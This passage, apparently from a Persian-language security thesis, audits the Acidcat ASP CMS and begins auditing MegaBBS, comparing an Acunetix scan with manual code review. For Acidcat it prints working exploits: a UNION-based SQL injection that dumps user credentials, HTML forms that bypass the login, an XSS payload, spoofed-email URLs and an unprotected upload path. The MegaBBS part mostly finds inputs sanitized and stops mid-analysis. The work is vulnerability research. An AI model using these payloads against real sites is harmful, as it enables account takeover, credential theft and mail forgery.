File Name: updates_3_4_1_f.zip 

Current Address: http://www.acidcat.com/acidcat/downloads/updates_3_4_1_f.zip 

  .براي راحتي كار با فايل ها Dreamweaverتنظيم   -ب

  :برنامه راهنمايمراحل نصب كامل و مجوز دادن به فايل ها يا پوشه ها طبق  -ج

 Install.aspبراي مثال در اينجا اجراي 

خواهد كه من نوع متداول تر و سخت براي حمله يعني را مي  پايگاه دادهدر اينجا از ما نوع 

Access را انتخاب مي كنم.  

  .بدهيممجوز خواندن و نوشته شدن  پايگاه دادهبه  بايدحال 

  .را تنظيم كنيم connectionحالا بايد فايل 

  .را مجوز دهي مي كنيم Uploadحالا پوشه مربوط به 

                                           
1 Content Management System/Service (CMS) 
2 Http://www.bugreport.ir 
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شروع مي شوند را پاك كنيم كه ما آنها را   Installحالا از ما مي خواهد تمام فايل هايي كه با 

  .نگه مي داريم تا شايد بعدا از آنها استفاده كرديم

پسورد . حال به كنسول مديريت مي رويم و تنظيمات معمول يك سايت را انجام مي دهيم

  .مدير را نيز به يك چيز معلوم ديگر تغيير مي دهيم

  .يا دستي دقيق باشد خودكاريرد كه مي تواند به صورت آغاز حمله در اين مرحله صورت مي گ -د

  :4نسخه  Acunetixمرحله ماشيني با ابزاري به نام  -1-د

  :تنظيم برنامه به شكل زير است

  
  گام اول تنظيم برنامه خودكار 2-3شكل 
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  گام دوم تنظيم برنامه خودكار 3-3شكل 

  

  
  گام سوم تنظيم برنامه خودكار 4-3شكل 
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  گام چهارم تنظيم برنامه خودكار 5-3شكل 

  

  :4نسخه  Acunetixنتايج با برنامه  -1-1-د

  دقيقه 15حدود : اجرازمان 

  :آسيب پذيري هاي شناسايي شده

 .اطلاعات را بدون رمز نگاري ارسال مي كند main_login.aspفايل 

 .هستند SQL Injectionداراي  main_login2.aspو  default.aspفايل هاي 

  .ميشو عمل وارد خود ديبا حالبراي به كار گيري اين خطرات 



72 
 

  :مرحله دستي -2-د

تنها از طريق آنها صورت  ASPها مي گرديم چرا كه ورودي صفحات  Requestابتدا به دنبال تمام 

  :مي پذيرد

  
 Dreamweaverتصوير برنامه  6-3شكل 

 SQLمي كنيم و اگر جزو پارامتري از صفحه يا درخواست هاي   دنبالها را Requestحال تمام 

يادداشت و رهگيري مي كنيم و اگر   SQL Injectionو  XSSآنها را به منظور حملات   باشند،

بگوييم آسيب پذيري مشاهده نشد منظور فقط همين دو نوع آسيب پذيريست چرا كه ما ديگر آسيب 

توجه داشته باشيد كه مرحله انتهايي فلوچارت را هرچه كامل تر . پذيري ها را فعلا بررسي نمي كنيم

در اينجا شما خواهيد ديد كه اگرچه . انجام دهيم ما را به آسيب پذيري هاي بيشتري رهنمون مي سازد

. اين مرحله به صورت كامل انجام نمي پذيرد اما بازهم ما آسيب پذيري هاي متعددي پيدا خواهيم كرد

  .ز چند روش متمم براي جبران اين كم كاري كمك خواهيم گرفتالبته در انتها ا

  :مي نويسم Dreamweaverروال را طبق خروجي 
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- Default.asp:  

 :داريم 34در خط 

titleTag = Request.QueryString("itemTitle") 

ند در متن كدها بگرديم كه خواهيم ديد در سايت نمايش پيدا مي ك  titleTagحال كافيست به دنبال 

مي  XSSاما قبل از آن كاراكترهاي خطرناك كه باعث ) است XSSپس اگر حمله اي باشد از نوع (

  !شود از آن حذف شده اند

بايد توجه داشت كه چون خطوط زير بعد از گرفتن ورودي باعث اجراي دو فايل ديگر شده اند، بايد در 

  :از قلم نيفتد بگرديم تا چيزي titleTagآن فايل ها نيز به دنبال پارامتر 

 <!--#include file="default_lang.asp" --> 

 <!--#include file="default_main.asp" --> 

شده باشد بايد در جستجوي اين پارامتر  includeواقعيت اين است كه در اين فايل ها نيز هر فايلي كه 

titleTag جديد بيشتري ميابيم  پس با نگاهي به سورس اين دو صفحه، صفحات. شركت داشته باشد

در كل اگر بنا به فلوچارت كاري خود عمل كنيم قادر خواهيم بود تا تمامي . كه بايد جستجو شوند

  .ارزيابي كنيم SQL Injectionو  XSSصفحات را به درستي براي حملات 

  

- default_content.asp: 

 :داريم 7در خط 

formType = Request.QueryString("formType") 

  .نقش مهمي ايفا نمي كند formTypeكدهاي اين صفحه مي بينيم كه در 

 :12و  9خط 

itemNum = Request.QueryString("itemID") 

Item__MMColParam = Request.QueryString("itemID") 
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منجر به گزينه بعدي مي شود و استفاده ديگري از آن نشده  itemNumمي بينيم كه عددي بودن 

  .سب نيست چرا كه حتما بايد عددي باشدپس اين نيز منا

 :17خط 

Item__MMColParam = Request.Form("cID") 

به كار  SQLدر ساختن درخواست هاي  Item__MMColParamدر كدها مي بينيم كه پارامتر 

حال كافيست ببينيم چه . فراهم شده است SQL Injectionپس با توجه به بالا زمينه يك . مي رود

  .براي اين كار بايد شرط ها را درست كنيم تا اين خط اجرا شود. اجرا مي شود 17وقت خط 

  :به شرطي زير توجه مي كنيم

  
خالي نباشد، خط  cIDخالي باشد و  itemIDنباشد و  searchبرابر  formTypeمي بينيم كه اگر 

  :پس براي شروع اين فايل بايد به شكل زير اجرا شود. اجرا خواهد شد 17

default_content.asp?formType=&itemID=  
  .براي آن ارسال مي شود Postبه صورت متد  cIDكه پارامتر 

  :حال اين فايل را به همين شكل اجرا مي كنيم و مي بينيم كه خطاي زير را نمايش مي دهد
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داده شده و ديگر اينكه هيچ فايل  SQLبا توجه به اينكه اين خطا قبل از خط ساخته شدن درخواست 

Include  وجود ندارد نتيجه مي گيريم كه اين فايل خود در درون  پايگاه دادهدر اين فايل به مسير

ب پذيري را امتحان لذا مي خواهيم آن فايل را پيدا كنيم تا اين آسي. شود includeيك فايل ديگر بايد 

گفتنيست در اين فايل هيچ ورودي ديگري وجود ندارد كه بخواهيم بعد از اين مورد تحقيق قرار .( كنيم

  :به عنوان پارامتر جستجو در همه فايل ها استفاده مي كنيم default_content.aspحال از ) دهيم

 Includeرا  default_content.aspرا مي بينيم كه فقط آن فايل   default_main.aspفايل 

  .كرده است

  :زير را مرور مي كنيم URLلذا در مرورگر 

default_main.asp?formType=&itemID=  
  :مي بينيم

 
به اين نتيجه مي رسيم كه  default_menu_javascript.aspبا توجه به اين خطا و كدهاي فايل 

 پايگاه دادهبه  connectionحاوي  نيز بايد در يك فايل ديگر كه default_main.aspخود فايل 

  :مي گرديم default_main.aspلذا دوباره در همه فايلها به دنبال . شده باشد  includeباشد 

  .را پيدا مي كنيم كه فايل مورد نظر ما را شامل باشد default.aspتنها فايل 

  :زير را مرور مي كنيم URLلذا در مرورگر 

default.asp?formType=&itemID=  
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  .مي بينيم كه بدون خطا اجرا شد

  :حال ميتوانيم با توجه به خطوط زير دو كار انجام دهيم

  
را به  Request.Form(“cID”)كي اينكه براي آزمايش آسيب پذير بودن و پيدا كردن كد مخرب، ي

Request(“cID”)  تبديل كنيم و بعدURL زير را مرور كنيم:  

default.asp?formType=&itemID=&cID=[SQL Injection] 

 Postكلي بايد اين تغيير را به ياد داشته باشيم و با متد  Exploitبايد توجه داشت كه براي نوشتن 

استفاده   Request.Form(“cID”)همچنين اگر در جاي ديگري از متن از . كار خود را انجام دهيم

  !شده باشد، بايد آن را نيز تغيير دهيم

  .كار كنيم و تغييري در سورس ايجاد نكنيم Postروش ديگر اين است كه از ابتدا با متد 

  :من از روش اول استفاده كرده ام يعني

  
  حال با اجراي 

default.asp?formType=&itemID=&cID=[SQL Injection]  
  :مي بينيم
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ي بينيم كه نگاه مي كنيم و م default_content.asp 31به خط ! پس نفوذپذير است

connection خط زير سازنده اين  !آنجا باز مي شودQuery است:  

ItemCheck.Source = "SELECT * FROM ac_item WHERE ID = " & 

Item__MMColParam & "" 
  :حال كافيست بنويسيم

default.asp?formType=&itemID=&cID=-1 union select 

1,username,3,password,5,6,7,8,9,10,'1-1-2000','1-1-2010' from ac_user 
را نشان مي ) شده URLEncodeو سپس  RC4رمز شده با (مي بينيم كه نام كاربري و رمز عبور 

سايت به دست مي آيد  پايگاه دادهو با توجه به  SQLاين خط با دانش نوشتن درخواست هاي . دهد

  .كه موضوع صحبت فعلي ما نيست

كافيست از  Exploitرا پيدا كرديم و براي نوشتن   SQL Injection اولين آسيب پذيريتا اينجا 

 Exploitذخيره مي كنيم و اين همان فايل  htmlفايل زير را به شكل . استفاده كنيم Postمتد 

  :مطلوب ماست

<form action="http://[The URL]/default.asp?formType=&itemID=" method="post">  
<input type="text" name="cID" id="cID" value="-1 union select 

1,username,3,password,5,6,7,8,9,10,'1-1-2000','1-1-2010' from ac_user" /> 

<br /> 

<input type="submit" value="Submit" /> 

</form> 

  

  



78 
 

- default_lang.asp: 

 :4خط 

myStr = request.servervariables("url") 

چرا كه اگر به آن چيزي  .آن كم كرداز  د كه نمي توان به آن چيزي اضافه يارا مي پذير URLاين خط 

بايد توجه داشته باشيم كه اگر چيزهايي ! اضافه كنيم صفحه اي كه مي خواهيم ديگر باز نمي شود

  :نظير

request.servervariables("HTTP_REFERER") 
  اي

request.servervariables("HTTP_USER_AGENT") 
  .آنها داشته باشيم، مي توانيم مقادير آنها را به سادگي تغيير دهيم و مانند

  

- default_mail.asp: 

 :21خط 

typeStr = Request("FormType") 

  .آسيب پذيري خاصي ندارد و نوع استانتخاب  هتاين خط فقط ج

  

- default_mail_aspemail.asp: 

 :14و  13و  12خطوط 

   Mail.From = Request("From")  

   Mail.FromName = Request("FromName")  

   Mail.AddAddress Request("To") 

شايد فكر كنيم هيچ آسيب ! در اينجا اين پارامترها جهت ايميل زدن استفاده شده و جنبه ديگري ندارند

اي وجود ندارد اما آسيب  SQL Injectionو  XSSدر واقع هيچ آسيب پذيري . پذيري وجود ندارد
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پذيري ديگر چه؟ چون كد اين صفحه كوتاه است با اولين نگاه كلي متوجه خواهيد شد كه هر كسي به 

صورت از راه دور مي تواند به كمك اين صفحه و با سرويس دهنده ايميل اختصاصي سايت براي ديگران 

د چرا كه مي توان با آن اقدام به ثبت مي شو دومين آسيب پذيريپس اين به عنوان ! ايميل بفرستد

همان طور كه ديديد ما ! نمود سرويس دهندهجعلي به صورت ناشناس و با هويت  يميل هايارسال ا

يك آسيب پذيري ديگر پيدا كرديم كه خارج از حوزه كاري فعلي ما بود اما پيدا كردن آن بسيار سهل و 

  :به صورت زير است Exploit. ساده بود

default_mail_aspemail.asp?AcidcatSend=1&From=Fake@Site.com&FromName=FakeA

dmin&To=Victim@Email.com&Subject=Forgery&Body=Change your password to 

123456! 

  

- default_mail_cdosys.asp: 

 :30و  29و  28خطوط 

        ObjSendMail.To = Request("To") 

        ObjSendMail.Subject = Request("Subject") 

        ObjSendMail.From = Request("From")  

و درست مثل صفحه ! در اينجا نيز اين پارامترها جهت ايميل زدن استفاده شده و جنبه ديگري ندارند

ديگر كه متداول تر است براي زدن ايميل استفاده مي  Objectآسيب پذير قبل است كه البته از يك 

  :كند

default_mail_cdosys.asp? 

AcidcatSend=1&From=Fake@Site.com&FromName=FakeAdmin&To=Victim@Email.c

om&Subject=Forgery&Body=Change your password to 123456! 

شكل اين آسيب پذيري دقيقا مانند قبلي است و معمولا اين صفحات همزمان به كار نمي از آنجاييكه 

 .ب پذيري جديدي محسوب نمي شودروند به عنوان آسي
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- default_mail_jmail.asp: 

 :12تا  8خطوط 

msg.From = Request("From") 

msg.FromName = Request("FromName")  

msg.AddRecipient Request("To") 

msg.Subject = Request("Subject") 

msg.Body = Mail.Body = Request("Body") 

و درست مثل صفحات ! در اينجا نيز اين پارامترها جهت ايميل زدن استفاده شده و جنبه ديگري ندارند

ديگر كه كمتر متداول است براي زدن ايميل استفاده  Objectآسيب پذير قبل است كه البته از يك 

  :مي كند

default_mail_jmail.asp? 

AcidcatSend=1&From=Fake@Site.com&FromName=FakeAdmin&To=Victim@Email.c

om&Subject=Forgery&Body=Change your password to 123456! 

چون شكل اين آسيب پذيري دقيقا مانند قبلي است و معمولا اين صفحات همزمان به كار نمي روند به 

 .عنوان آسيب پذيري جديدي محسوب نمي شود

  

- main_login2.asp: 

 :34خط 

MM_LoginAction = Request.ServerVariables("URL") 

  .همانطور كه قبلا گفته شد اين خط آسيب پذيري ندارد

 :35خط 

MM_LoginAction = MM_LoginAction + "?" + Request.QueryString 

  .كه در جايي استفاده نشده است

 :64خط 



81 
 

Response.Redirect(Request.QueryString("accessdenied")) 

مي توان حمله  accessdeniedوجود دارد چرا كه با تعيين پارامتر  رياينجا قاعدتا يك آسيب پذي

XSS براي رسيدن به اين خط و اجراي آن بايد پارامتر . انجام دادMM_valUsername  خالي

كجا  MM_valUsernameحال . نيز تهي نباشد پايگاه دادهنبوده، ضمن اينكه مقدار انتخاب شده از 

  : داريممقدار دهي مي شود؟ دو حالت 

از  MM_valUsernameشده كه پارامتر  Includeدر يك فايل ديگر  main_login2.aspخود 

  .آنجا قابل تنظيم است

شده اند را ببينيم و تنظيم  main_login2.asp ،includeكه در  فايلهاييو حالت ديگر اينكه  

  .را دنبال كنيم MM_valUsernameپارامتر 

نكرده و تنها يك فرم  Includeرا  main_login2.aspبعد از بررسي حالت اول مي بينيم هيچ فايلي 

از اينجا پر واضح است كه حالت دوم صحيح ! آن به طرف اين فايل تنظيم شده وجود دارد Actionكه 

بال پس به دن. دنرا تعيين مي ك MM_valUsernameشده مقدار  includeبوده و يكي از فايلهاي 

  .مي گرديم main_login2.aspاين متغير در سراسر فايلهاي زير مجموعه 

  :خطوط زير وجود دارند admin/admin_encrypt.aspمشاهده مي كنيم كه در فايل 
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حال مشكل بعدي . چگونه مقدار دهي مي شود MM_valUsernameدر اينجا مي بينيم كه متغير 

  :است 44خط  SQLدرست كردن درخواست 

MM_rsUser.Source = "SELECT ID, Type, Username, Password FROM ac_user WHERE 

Username='" & MM_valUsername &"' AND Password='" & MM_valUsername3 & "'" 
به عنوان آسيب پذيري ديگر مي تواند وجود  SQL Injectionهمينجا متوجه مي شويم كه حمله 

 SQLبدون هيچ كنترل قبلي در رشته درخواست  MM_valUsernameچرا كه مقدار . داشته باشد

در واقع با خواندن كدها متوجه مي شويم كه برنامه نويس مي خواسته شخصي پس از . قرار مي گيرد

تنظيم شده باشد، به  accessdeniedاينكه با نام كاربري و رمز عبور درست وارد شد، اگر پارامتر 

پس چون وقتي آسيب . آن اشاره مي كند به صورت خودكار وارد شودصفحه اي كه اين پارامتر به 

از درجه اهميت  XSSاتفاق مي افتد كه ورود درست انجام شده باشد، آسيب پذيري  XSSپذيري 

براي اثبات اين گفته همين كافيست . خيلي كمي برخوردار است اما هنوز هم كمي قابل اهميت است

ر دادن آن در جايي كه يك نفر روي آن كليك مي كند مي تواند كه مهاجم با طراحي يك فرم و قرا

پسورد را عوض كند و سايت را به هم بريزد، بدون اينكه خود شخصي كه فرم را ساخته اينكار را 

  .مستقيما انجام دهد

با توجه به سعي و  Exploitاين : (به شرح زير خواهد بود آسيب پذيري سوم و چهارم Exploitپس 

مي توان در سايت بدون داشتن  Exploitبا اين  )به دست آمده است RC4خطا و الگوريتم رمزنگاري 

  .كرد Loginنام كاربري و رمز عبور 

Exploit  3آسيب پذيري )XSS(: 

<form action="main_login2.asp?accessdenied=javascript:alert('XSS')" method="post"> 

<input type="hidden" name="username" id="username" value="FooNot' union select 

1,2,3,'%CE%10%C9%CE%AC%0F%F3%07A%91%8B%1B%9FF%2D%DF%EBcO%

9Au%5F%28%80%A5%0D%D0%89%EA%EF%3E%BB%BDx%5F%0EM%7C%09%
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2C%B6s%9D%EAa%2FqX%7E%08%05%CAZ%26%1ET%10%CE' from ac_user 

where Username='1'or'1'='1'or'1'='1" size="200"/> 

<br /> 

<input type="hidden" name="password" id="password" value="0" /> 

<br /> 

<input type="submit" value="Click To Login!" /> 

</form> 

Exploit  4آسيب پذيري )SQL Injection(: 

<form action="main_login2.asp" method="post"> 

<input type="hidden" name="username" id="username" value="FooNot' union select 

1,2,3,'%CE%10%C9%CE%AC%0F%F3%07A%91%8B%1B%9FF%2D%DF%EBcO%

9Au%5F%28%80%A5%0D%D0%89%EA%EF%3E%BB%BDx%5F%0EM%7C%09%

2C%B6s%9D%EAa%2FqX%7E%08%05%CAZ%26%1ET%10%CE' from ac_user 

where Username='1'or'1'='1'or'1'='1" size="200"/> 

<br /> 

<input type="hidden" name="password" id="password" value="0" /> 

<br /> 

<input type="submit" value="Click To Login!" /> 

</form> 
  

- main_login_code.asp: 

 :341خط 

logoutVar = CStr(Request("referrer")) 

  .شرط استفاده داردتنها در يك 

پس بايد دقت كنيم كه علاوه بر جستجوي . رسيده است Adminحال مي بينيم كه نوبت به پوشه 

.) باشند نياز نداشتهكردن  Loginيعني به . (حملات ابتدا ببينيم توسط مهاجم قابل دسترسي باشند

انجام مي دهد كه در  admin/admin_login_check.aspاين كار را 
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admin/admin_scripts.asp  وadmin/ admin_scripts_1252.asp  نيزinclude  شده

كه  صفحاتيپس از نوشتن . دارد Loginكرده باشد نياز به  Includeپس هر فايلي اينها را نيز . است

  .مي كنيمدارند خودداري  loginنياز به 

  

- admin_colors_swatch.asp: 

 :3خط 

var formField = String(Request.QueryString("field")); 

  .باشد XSSدر متن كد به كار رفته است مي تواند زمينه ساز  formField كه چون

  
  :بنويسيم آسيب پذيري پنجمپس كافيست به عنوان 

admin/admin_colors_swatch.asp?field=value='';}alert('XSS');function(){myForm.myText 
  

- admin_lang.asp: 

 :5خط 

myStr = request.servervariables("url") 

  .كه آسيب پذير نيست

  

- admin_lang_login.asp: 

 :5خط 

myStr = request.servervariables("url") 
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  .كه آسيب پذير نيست

  

- admin_users_edit_form2.asp: 

 :5خط 

myParam = Request.Form("ID") 

  .پايگاه داده متصل نيستمي بينيم كه اين فايل به تنهايي به 

  

- admin_users_view.asp: 

 :37خط 

For Each Item In Request.QueryString 

  .مي بينيم كه اين فايل به تنهايي به پايگاه داده متصل نيست

  

را كه  fckeditorصرف نظر مي كنيم و قبل از اينكه به مرحله بعد برويم وجود  fckeditorاز پوشه 

آسيب فايل در سايت وجود دارد به عنوان  uploadبدون هيچ تغييري در كدهاي اصلي آن و توانايي 

  :آن به شرح زير است Exploitاعلام مي كنيم كه  پذيري ششم

/admin/fckeditor/editor/filemanager/connectors/test.html 
  

ابتكاري بوده و از يك  غالبا اين روش ها .حال سراغ روش هاي متمم كه در ابتدا گفته شد مي رويم

برنامه تا برنامه ديگر متفاوت هستند و تنها به اين دليل استفاده مي شوند كه اگر چيزي در مراحل 

همانطور كه از كدهاي اين برنامه تا به حال برآمده است براي . قبلي جا افتاده است آشكار شود

اين عبارت در تمام واره ديده مي شود پس به دنبال هم Source.درخواست از پايگاه داده عبارت 
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را به دلخواه  SQLمي خواهيم ببينيم جايي هست كه بتوانيم درخواست . در برنامه مي گرديم  برنامه

  :مي گرديم SQLبراي اين كار به دنبال پارامتر تغيير پذير در رشته . خود تغيير دهيم يا نه

  
  Dreamweaverتصوير برنامه  7-3شكل 

  

- default_content.asp: 

  .اين فايل قبلا به عنوان فايل آسيب پذير مشخص شده است

  

- default_menu_functions.asp: 

 :36خط 

myCatID = "SELECT * FROM ac_item WHERE Category_ID = " & catID & " ORDER 

BY VerticalPosition DESC, Title DESC" 
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پس بايد ببينيم تابع . و ببينيم مي توان آن را تغيير داد يا خير بگرديم catIDحال بايد به دنبال 

printItemF كار بسيار زمانبر بوده و نيازمند خواندن و دنبال كردن  اين. چه زماني صدا زده مي شود

با توجه به اينكه ما تا به حال توانسته ايم شش آسيب پذيري را شناسايي . بيشتر كدهاي برنامه است

به كمك يكي از آنها توانسته ايم مديريت برنامه را بدون داشتن مجوز بدست بگيريم و به كنيم و حتي 

كنيم، پس كار را همينجا متوقف مي كنيم چرا كه   uploadكمك يكي ديگر توانستيم فايل هايمان را 

بيشتر صرف زمان بيشتر روي اين برنامه در حال حاضر ديگر صرفه اقتصادي ندارد و از نظر آموزشي نيز 

اگر قرار بود اين برنامه را به صورت كامل بررسي كنيم، مي . خواهد شد ASPشبيه آموزش زبان 

بايستي علاوه بر اتمام همين مرحله، فلوچارت كاري كه در بالاتر گفته شده بود را نيز مو به مو انجام 

  . قي را نيز شناسايي كنيمدهيم و علاوه بر اينها فلوچارت خود برنامه را كشيده و آسيب پذيري هاي منط

  

  :قسمت دستي نتيجه گيري -1-2-د

 ASPما در اينجا به طور دستي و همچنان به صورت خودكار در يك برنامه مديريت محتوا كه به زبان 

در اين راه . گشتيم XSSو  SQL Injectionبود به دنبال آسيب پذيري هاي معمول نوع وب يعني 

دقيقه شناسايي شد و اين در حالي بود كه  15دكار در زمان حدود دو آسيب پذيري توسط برنامه خو

از بين آسيب پذيري هاي پيدا شده . شش آسيب پذيري به صورت دستي، طي دو ساعت و نيم پيدا شد

چرا كه به وسيله يكي مي توان مديريت سامانه را به  .برخوردارنددو تا از اهميت بالاتري نسبت به بقيه 

نمود و اين در حالي است كه  uploadيله ديگري مي توان فايل هاي خطرناك را دست گرفت و به وس

از اينجا مي توان نتيجه گرفت كه . ما در حالت دستي فلوچارت هاي كاري خود را كامل اجرا نكرده ايم

برنامه از امنيت مطلوبي برخوردار نبوده و امكان كشف آسيب پذيري هاي جديد و متنوع نيز همچنان 

 .داردوجود 
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 :MegaBBSپيدا كردن ضعف هاي امنيتي برنامه . 1.2.3.3

  )IISروي (و نصب آن  ASPدانلود سورس كد  - الف

Vendor: http://www.pd9soft.com/ 
Version: 2.2 

File Name:  megabbs2.2.zip, megabbs2.2-access.zip 

Current Address:  

http://www.pd9soft.com/megabbs-support/megabbs2.2.zip 

http://www.pd9soft.com/megabbs-support/megabbs2.2-access.zip 

http://www.pd9soft.com/megabbs-support/megabbs2.2-mssql.zip 

http://www.pd9soft.com/megabbs-support/megabbs2.2-mysql.zip 

  براي راحتي كار با فايل ها Dreamweaverتنظيم   -ب

  .مراحل نصب كامل و مجوز دادن به فايل ها يا پوشه ها طبق كمك برنامه انجام مي شود -ج

  .آغاز حمله در اين مرحله صورت مي گيرد كه مي تواند به صورت ماشيني يا دستي دقيق باشد -د

  :5نسخه  Acunetixمرحله ماشيني با ابزاري به نام  -1-د

  :ه به شكل زير استتنظيم برنام
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  گام اول تنظيم برنامه خودكار 8-3شكل 

  
  گام دوم تنظيم برنامه خودكار 9-3شكل 
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  گام سوم تنظيم برنامه خودكار 10-3شكل 

  
  گام چهارم تنظيم برنامه خودكار 11-3شكل 
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  گام پنجم تنظيم برنامه خودكار 12-3شكل 

  

  :Acunetixنتايج با برنامه  -1-1-د

  ساعت 2: زمان

  :آسيب پذيري هاي شناسايي شده

 profile/controlpanel.asp/در  SQL Injectionآسيب پذيري 

  فايل در Uploadپتانسيل آسيب پذيري 

 /forums/attach-file.asp  و/profile/controlpanel.asp 

ذيري در بعضي اوقات اصلا اينها آسيب پ. براي به كار گيري اين خطرات بايد خود وارد عمل شويم

  .كه در طول مرحله زير مشخص مي شود .نيستند
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  :مرحله دستي - 2- 4

هايي مي گرديم كه خارج از فرض شرط ها باشند  Requestما ابتدا به دنبال تمام  مانند برنامه قبلي،

، چرا كه ورودي )به كار گرفته شوند SQLو در متغيري ريخته شوند يا در جايي مانند درخواست (

ها را دنبال مي كنيم و اگر Requestحال تمام . از طريق آنها صورت مي پذيرد تنها ASPصفحات 

 SQLو  XSSباشند، آنها را به منظور حملات  SQLجزو پارامتري از صفحه يا درخواست هاي 

Injection   يادداشت و رهگيري مي كنيم و اگر بگوييم آسيب پذيري مشاهده نشد منظور فقط همين

توجه داشته باشيد . آسيب پذيري ها را فعلا بررسي نمي كنيم سايرچرا كه ما  دو نوع آسيب پذيريست

كه مرحله انتهايي فلوچارت را هرچه كامل تر انجام دهيم ما را به آسيب پذيري هاي بيشتري رهنمون 

بايد بگوييم كه ما همه آنها را نمي توانيم با اين روش پيدا كنيم چرا  XSSدر آسيب پذيري . مي سازد

را ايجاد مي  XSSگاهي اوقات رشته ثبت شده ما در پايگاه داده، در يك صفحه ديگر خطر حمله  كه

  !كند

توجه كنيد كه كدهاي اين برنامه به صورت كاملا اختصاصي زده شده اند و جزو برنامه هايي خاص 

استفاده زياد از توابع و كلاس ها در جاي جاي اين برنامه به چشم مي . مي باشد ASPنوشته شده با 

خورد كه متعاقبا كار ما را بسيار سخت كرده و حتي اگر يك برنامه خودكار رديابي خطا نيز وجود مي 

يكي از موارد جالب و آموزشي كه در اين برنامه وجود . داشت، آن را نيز مطمئنا به چالش مي كشيد

نمود كه كدهاي  DLLرد اين است كه كدهاي اين برنامه را به راحتي مي توان تبديل به فايل هاي دا

  .جدا مشاهده نمي كنيم HTMLآن قابل خواندن نباشد، چرا كه در هيچ كجا كدهاي 

نكته اي كه در مورد برنامه هاي تحت وب وجود دارد، صرف نظر كردن از فايلهاييست كه براي اجرا نياز 

لذا در اينجا بيشتر فايل . جوز مديريت دارند، چرا كه مدير هيچگاه نياز به نفوذ به سايت خود نداردبه م

را بررسي نمي كنيم و فقط آنهايي را بررسي مي كنيم كه بدون نياز به مجوز  Adminهاي شاخه 

  .مديريت قابل بازگشايي مي باشند
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- alert-approve.asp: 

 :14خط 

vAlert = Alerts.GetAlertInfo(request.querystring("id")) 

 تابع. را رهگيري كنيم vAlertچه مي كند و سپس  ()GetAlertInfoدر اينجا ابتدا بايد ببينيم 

GetAlertInfo()  را درinclude-alerts.asp همانطور كه مي بينيد . مي يابيم

ValidateNumeric()  كه در فايلinclude.asp جود داشته و با وجود وجود دارد براي محافظت و

از آنجايي كه خروجي نيز توسط داده هاي از قبل تعيين شده . آن نمي توان به جز عدد چيزي وارد كرد

 . سيستم در پايگاه داده انتخاب مي شود اين خط كلا آسيب پذير نمي باشد

 :34خط 

vAlert(AL_Message)   = trim(request.form("reason")) 

در اينجا نيز تابع . به كار گرفته مي شود include-alerts.aspدر فايل  ()CreateAlertكه در 

ValidateNumeric() مانع از اجراي كد خطرناك مي شود.  

  

- alert-list.asp: 

 :14خط 

iAlertType = BBS.ValidateNumeric(request.querystring("type")) 

  .خطرناك مي شود مانع از ورود كد ()ValidateNumericدر اينجا نيز تابع 

  

- alert-view.asp: 

 :14خط 

vAlert = Alerts.GetAlertInfo(request.querystring("id")) 

  .طبق صحبت هايي كه قبلا شد آسيب پذير نيست
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- category-view.asp: 

 :31و  27خط  

iCategoryID = BBS.ValidateNumeric(request.querystring("cat")) 

  .شد آسيب پذير نيست طبق صحبت هايي كه قبلا

 :41و  39خط 

iCatLock = BBS.ValidateNumeric(request.querystring("catlock")) 

  .طبق صحبت هايي كه قبلا شد آسيب پذير نيست

 :68خط 

bCategoryCollapsed = BBS.ValidateBoolean(request.cookies(sBBSCookieRoot & "cat" 

& vCategoryList(0, index) & "collapsed")) 

  .نيز آسيب پذير نمي باشد ()ValidateBooleanتابع 

  

- forgot-password.asp: 

 :19خط 

vUserInfo = BBS.GetUserInfobyName(request.form("username")) 
بايد به دنبال  include.aspمعلوم مي شود كه در فايل  ()GetUserInfobyNameبه دنبال تابع 

همان طور كه ديده مي شود متغير ما توسط تابع . اشيمب ()GetMemberIDتابع 

ValidateSQL() در نهايت كنترل شده، پس آسيب پذير نمي باشد.  

 :23خط 

rsMaster.open "select memberid from members where emailaddress='" & 

BBS.ValidateSQL(trim(request.form("email"))) & "'", dbConnection, 

adOpenForwardOnly, adLockReadOnly 

  .آسيب پذيري را از بين مي برد ()ValidateSQLدر اينجا هم تابع 
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- inbox.asp: 

 :13خط 

sFolderType = request.querystring("folder") 

خواهيم ديد كه اين . را بايد بررسي كنيم ()ValidateFieldتابع  sFolderTypeبه دنبال متغير 

پس آسيب پذيري در . مي شود جايگزين مي كند XSSي را كه باعث حمله تابع تمامي كاراكترهاي

  . اينجا وجود ندارد

 :30خط 

ipmid = BBS.ValidateNumeric(request.querystring("view")) 

  .آسيب پذير نيست

 :34خط 

for each ipmid in request("pmid") 

را بررسي مي كنيم و مي بينيم كه  ()GetPrivateMessageتابع . را دنبال مي كنيم ipmidمتغير 

و  ()deletePrivateMessageهمين طور در مورد توابع .  به دليل كنترل عدد آسيب پذير نيست

deleteSentPrivateMessage() اين حكم صادق است.  

  

- logon.asp: 

 :18تا  12خط 

sPostUsername = request.form("postusername") 

sPostPassword = ucase(request.form("postpassword")) 

sPostVerification = request.form("postverification") 

sRedirect     = request.querystring("redirect") 

sAction       = request.form("action") 

sPasswordAction = request.querystring("password") 

  .دا گانه مي گرديمبه دنبال اين متغير ها به طور ج
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 sPostUsername در توابعGetUserInfoByName(),CheckUsername()  آمده است و آنها

: در جايي هم داريم. ربط پيدا مي كنند، آسيب پذير نيستند ()GetMemberIDنيز چون به 

sBBSUsername = sPostUsername  پس به دنبالsBBSUsername  هم مي گرديم كه در

UpdateLocation  در اين تابع نيز رشته با ).  87خط (آمده استValidateSQL()  كنترل مي

  .شود، پس آسيب پذير نيست

  .اگر بقيه متغير ها را نيز دنبال كنيم آسيب پذيري اي نمي بينيم

  

- register-accept.asp: 

 :32تا  23خطوط 

vUserInfo(UI_Username)   = left(trim(request.form("username")), 20) 

vUserInfo(UI_Password)   = left(trim(request.form("password")), 20) 

vUserInfo(UI_Realname)   = left(trim(request.form("realname")), 50) 

vUserInfo(UI_WebsiteAddr)= left(trim(request.form("websiteaddr")), 75) 

vUserInfo(UI_EmailAddr)  = left(trim(request.form("emailaddr")), 75) 

vUserInfo(UI_ICQNumber)  = left(trim(request.form("icqnumber")), 15) 

vUserInfo(UI_AIM)        = left(trim(request.form("aim")), 75) 

vUserInfo(UI_MSN)        = left(trim(request.form("msn")), 75) 

vUserInfo(UI_Yahoo)      = left(trim(request.form("yahoo")), 75) 

و در آنجا نيز . به كار مي آيند ()CreateUserرهگيري به ما نشان مي دهد كه اينها در 

SQLTrim() مانع از اجراي كد خطرناك مي شود.  

 :43خط 

sPostVerification = trim(request.form("postverification")) 

  .كار رفته است پس آسيب پذير نيست تنها به) 88خط (اين متغير در يك خط شرطي 
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- reset-password.asp: 

 :14خط 

vUserInfo = BBS.GetUserInfobyName(request.form("username")) 

